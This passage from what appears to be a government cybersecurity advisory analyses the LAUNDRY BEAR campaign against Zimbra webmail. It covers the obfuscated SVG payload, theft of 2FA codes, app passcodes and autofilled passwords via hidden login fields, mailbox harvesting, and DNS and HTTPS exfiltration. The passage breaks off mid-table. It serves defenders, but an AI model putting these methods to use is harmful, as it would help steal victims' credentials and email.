<p>Hidden in LAUNDRY BEAR’s email is a Base64 encoded payload within the “onload” field of a Scalable Vector Graphics (SVG) element [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank">T1027.017</a>], as shown in <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>. Leading up to the inclusion of this payload in the SVG element are various instances of @import directives, as required to leverage <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a>. This payload includes an XOR encrypted final script encoded in a Base64 inner payload (see <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>) [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank">T1027.013</a>]. The outer payload decodes and decrypts the inner payload using an XOR function and a hardcoded key and then executes the script contained within the inner payload containing the collection and exfiltration logic. By changing the key used for the XOR encryption of the inner payload or adding additional @import directives with non-functional code [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank">T1027.010</a>], LAUNDRY BEAR can easily generate new payloads that bypass basic threat detection signatures. This malicious payload attempts to collect and exfiltrate information in 12 asynchronous stages [<a href="https://attack.mitre.org/versions/v19/techniques/T1119/">T1119</a>]. The stages in order of appearance within the payload are as follows:</p>
<ol>
<li>sendStartPing,</li>
<li>gather_email,</li>
<li>gather_environment,</li>
<li>gather_2fa_codes,</li>
<li>gather_app_password,</li>
<li>gather_device_status,</li>
<li>gather_oauth_consumers,</li>
<li>gather_autocomplete_password,</li>
<li>enable_mail_protocols,</li>
<li>gather_gal,</li>
<li>sendArchives, and</li>
<li>sendFinishPing. </li>
</ol>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure3_0.png?itok=M-bj5-nb" width="607" height="577" alt="Figure 3: Malicious payload of example email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 3: Malicious payload of example email</strong></em></figcaption>
  </figure>
<p>Use of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank">T1587</a>].</p>
<h3><em><strong>Persistence and credential access</strong></em><a class="ck-anchor"></a></h3>
<p>To establish sustained persistence into the victim’s email account, the script attempts to modify account preferences and collect authentication information. Any collected credentials are later exfiltrated, as further described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. Other campaigns attributed to LAUNDRY BEAR also demonstrated the group’s ability to circumvent multi-factor authentication through session token replay [<a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank">T1550.004</a>], and the Zimbra campaign follows a similar trend.</p>
<p>The script used in this campaign tries to discover the victim’s email address during the <em>gather_email</em> stage [<a href="https://attack.mitre.org/techniques/T1087/" target="_blank">T1087</a>]. The script searches for this email address in two ways. First, it examines the <em>batchInfoResponse </em>variable, which an HTML script element on the webpage can define, for an email address. Even if the script finds an email address there, it also checks whether it acquired a Cross-Site Request Forgery (CSRF) token as described later in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory. If so, the script uses the “GetIdentitiesRequest” Simple Object Access Protocol (SOAP) command under the “ZimbraAccount” namespace to determine the victim’s email address [<a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank">T1185</a>] and then exfiltrates it. However, if the script does not have a CSRF token or the SOAP request fails, the script exfiltrates the email value recovered from the first method instead. If both attempts fail to capture the victim’s email, the script sends a JavaScript Object Notation (JSON) payload with a key of “email” and value of <em>null </em>over HTTPS and does not attempt DNS exfiltration.</p>
<p>During the <em>gather_autocomplete_password</em> stage, the script attempts to collect the victim’s saved password via the autocomplete feature of the victim’s password manager. The script injects two HTML div elements requesting login credentials onto the page outside of the victim’s view, as shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a><strong> </strong>and <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. After waiting five seconds, the script then attempts to extract the password provided automatically by the password manager from the input element shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a>. If there is no value in that input field, it checks the password input field shown in <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. If neither input field contains a value, a JSON payload with a key of “autocomplete_password” and value of <em>null </em>is sent over HTTPS and DNS exfiltration is not attempted.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure4.png?itok=ZOZ8JHZC" width="1024" height="188" alt="Figure 4: First illegitimate login HTML element">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 4: First illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure5.png?itok=8xZU_GCa" width="1024" height="115" alt="Figure 5: Second illegitimate login HTML element">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 5: Second illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p>LAUNDRY BEAR almost certainly relies on a mail client using the Internet Message Access Protocol (IMAP) for persistent access to the victim’s mailbox. During the <em>enable_mail_protocols</em> stage, a SOAP request leveraging the “ModifyPrefsRequest” command under the “ZimbraAccount” namespace is sent. This request attempts to set the “zimbraPrefImapEnabled” preference to TRUE. While the default setting for “zimbraPrefImapEnabled” is not well documented, this action is almost certainly intended to ensure that IMAP access to the victim’s mailbox is enabled.</p>
<p>ZCS does not support 2FA for some mail clients, including IMAP. To support users who rely on IMAP clients, ZCS allows for the generation of Application Passcodes. Application Passcodes are randomly generated passwords that can be used for clients that cannot support the normal 2FA process to authenticate. During the <em>gather_app_password</em> stage, the script makes a SOAP request using the “CreateAppSpecificPasswordRequest” command under the “ZimbraAccount” namespace to create a new Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank">T1556.006</a>]. The SOAP request uses “ZimbraWeb” as the name of the application.</p>
<p>Additionally, the script also attempts to collect 2FA tokens. During the <em>gather_2fa_codes</em> stage, the script makes a SOAP request using the “GetScratchCodesRequest” command under the “ZimbraAccount” namespace. The script then attempts to exfiltrate any non-null 2FA codes collected this way. The number of codes can vary, and each code is exfiltrated to Flowerbed individually.</p>
<h3><em><strong>Collection</strong></em><a class="ck-anchor"></a></h3>
<p>As demonstrated in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, this script relies heavily on SOAP requests to collect victim information. To make these requests, the script aims to acquire the victim’s current CSRF token, which it attempts to access within the webpage’s local storage using localStorage.getItem("csrfToken"). If the script is unable to acquire this CSRF token, it will be unable to make any SOAP requests. In addition to the SOAP commands documented in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, other SOAP commands executed to collect victim information are shown in <a href="https://www.cisa.gov/#table1"><strong>Table 1</strong></a>.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 1: Additional SOAP commands used</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>SOAP Command </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Namespace </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Stage </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraSync </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>SearchGalRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script attempts to collect the victim’s GAL through brute force by searching for each two-character combination from a character set of “abcdefghijklmnopqrstuvwxyz1234567890.-_”. These queries are conducted using 20 batches of SOAP requests with 77 “SearchGalRequest” SOAP commands in each batch except for the last request containing only 58.</p>
<p>During the <em>gather_environment</em> stage, the script attempts to determine which type of ZCS webmail client the victim is using. The script checks the user’s current URL to determine the client type being used, checking for certain indicators (shown in <a href="https://www.cisa.gov/#table2"><strong>Table 2</strong></a>) to determine the client type. The corresponding value is then used as the payload when exfiltrating the client type.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 2: ZCS webmail client types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Indicator </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Client Type </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Associated Value </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>?client=advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/h/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Standard </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>h </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/modern/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Modern </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>m </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>As part of collection, the script attempts to harvest any emails not marked as “junk” from the last 90 days from the victim’s account. Emails are collected daily by an HTTP GET request to the URL path, “/home/~/?fmt=tgz&amp;meta=0&amp;query=date:-{DAY_OFFSET}d AND (not in:junk)”. The <em>{DAY_OFFSET}</em> value would be between 0 and 89 representing how many days ago the email was sent or received. To prevent redundant collection and exfiltration of emails, a variable with a name based on the email date being queried, using a format of <em>zd_comp_YYYY-MM-DD</em>, and value of <em>true</em>, is saved to the <em>window.top.localStorage</em> property. This variable is saved regardless of whether the email is successfully exfiltrated.  </p>
<p>According to Mozilla documentation, if the user is not in a private browsing session, any data stored to localStorage does not typically expire. This means that if the user happens to execute the script again from the same computer, the script avoids attempting to re-exfiltrate previously captured emails. However, the script always attempts to pull any emails with a <em>{DAY_OFFSET} </em>of zero. In other words, the script always pulls emails sent or received the same day it is run. After email results are returned from the query for each day of email activity, those results are then passed to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section.</p>
<p>The script also provides LAUNDRY BEAR with telemetry on any errors that occur during the collection process. This is accomplished by executing any collection or exfiltration code through helper functions that contain error handling logic. If an error occurs, a payload containing information on the error itself, the context of the error happening, and the stage in which the error occurred is sent to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. For cases where the error occurs within a SOAP request, “:api” is concatenated to the stage value in the payload. If an error occurs during the batch SOAP requests that occur when collecting the GAL of the victim, the stage value will use a format of <em>gather_gal:{VAL}:api</em>. The <em>{VAL}</em> placeholder indicates which batch request, a number from 0 to 19, the error occurred in. Errors that occur during the password autocomplete interception process will use “gather_autocomplete_password:dom” for the stage value. Finally, if an error occurs when attempting to collect or exfiltrate a specific day’s emails, the stage will include which day the error occurred on, using the previously defined placeholder <em>{DAY_OFFSET},</em> with a format of <em>sendArchive:day-{DAY_OFFSET}</em>.</p>
<h3><em><strong>Exfiltration</strong></em><a class="ck-anchor"></a></h3>
<p>At the end of each stage in the collection process, the script attempts to exfiltrate acquired information to Flowerbed. The script primarily relies on two forms of data exfiltration: DNS [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank">T1048.003</a>] and HTTPS. Some information is exfiltrated over both the DNS and HTTPS channels.</p>
<p>Prior to exfiltration, a randomized 10- or 11-character alphanumeric string is generated as an identifier for the victim. This identifier is included in the URL of both the DNS- and HTTPS-based exfiltration.  </p>
<h4><strong>DNS exfiltration</strong></h4>
<p>DNS exfiltration occurs through DNS A record queries. To ensure data exfiltrated through DNS is not corrupted when traversing through non-actor-controlled DNS infrastructure, <em>Ulej </em>maintains compliance with RFC 1035, Domain Names - Implementation and Specification, specifically accounting for the case insensitivity and subdomain length requirements. Base32 encoding is used to create a case-insensitive payload. Once the payload is encoded, a period (“.”) is added every 60 characters to ensure each subdomain is under 63 characters long. The script then creates a new image object sourced from a URL with the scheme defined in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a>. Any traffic involving DNS exfiltration will have “d-“ prefixing the victim identifier, and the subdomain immediately following indicates the type of information being exfiltrated.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure6.png?itok=Tv8RT8o8" width="1024" height="49" alt="Figure 6: Structure for information exfiltrated by DNS">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 6: Structure for information exfiltrated by DNS</strong></em></figcaption>
  </figure>
<p>When the script generates an image object, the browser tries to retrieve the complete domain of the URL specified as the source of the image. This triggers a DNS request sent to the actor-controlled server and processed by Flowerbed. <a href="https://www.cisa.gov/#table3"><strong>Table 3</strong></a> lists both the information exfiltrated via DNS and their corresponding data type identifiers in the DNS queries.  </p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 3: DNS exfiltration</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Data Type </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Victim’s Email Address </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_email </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>e </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Client Type </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Zimbra Version </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment  </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>v </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>URL at Time of Exploitation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>url </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>2FA Scratch Codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_2fa_codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>2fa </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Newly Created Application Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_app_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>pa </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Harvested Autocomplete Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_autocomplete_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>pw </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<h4><strong>HTTPS exfiltration</strong></h4>
<p>Any information exfiltrated via DNS is also exfiltrated through HTTPS, as well as additional data including email content, contacts, attachments, and error logging information. By using Let’s Encrypt certificates, this group can quickly deploy new infrastructure and leverage encrypted HTTPS communications with valid server certificates when exfiltrating information from the victim’s environment. The HTTPS exfiltration capability only uses two HTTP content types, defined in <a href="https://www.cisa.gov/#table4"><strong>Table 4</strong></a>. Traffic associated with HTTPS exfiltration will use the URL scheme shown in <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>.  </p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 4: HTTPS exfiltration types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p><strong>Content Type </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p><strong>URL Path </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>application/json </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>/v/p </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>application/octet-stream </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>/v/d </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%207.png?itok=CdTcyMdN" width="1024" height="50" alt="Figure 7: Structure for information exfiltrated by HTTPS">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 7: Structure for information exfiltrated by HTTPS</strong></em></figcaption>
  </figure>
<p>Some of the data transmitted via HTTPS uses the standard JSON content type format. The script includes the information in a POST request to actor-controlled infrastructure.  </p>
<p><a href="https://www.cisa.gov/#table5"><strong>Table 5</strong></a> provides a summary of the JSON-based exfiltration.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 5: HTTPS JSON exfiltration  </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>JSON Key(s) </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Victim’s Email Address </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_email </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>email </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Client Type, Version, and Current URL </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>client, version, full_url </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Newly Created Application Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_app_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>app_password </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Harvested Autocomplete Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_autocomplete_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>autocomplete_password </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script transmits all HTTPS exfiltration not identified in <a href="https://www.cisa.gov/#table5"><strong>Table 5</strong></a> using the Octet-Stream content type as binary data. The POST requests for this method include a filename in the “X-Filename” header. Traditionally, developers use headers prefixed with “X-” to denote custom headers that do not follow a defined standard. The purpose of including this header remains unclear since the Catcher capability ignores the provided filename when saving the data. <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> summarizes the data exfiltrated in this format.</p>
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<div class="TableContainer Ltr SCXW189907655 BCX8">
<div class="WACAltTextDescribedBy SCXW189907655 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong> Table 6: HTTPS binary exfiltration</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>X-Filename Header </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetScratchCodesRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_2fa_codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
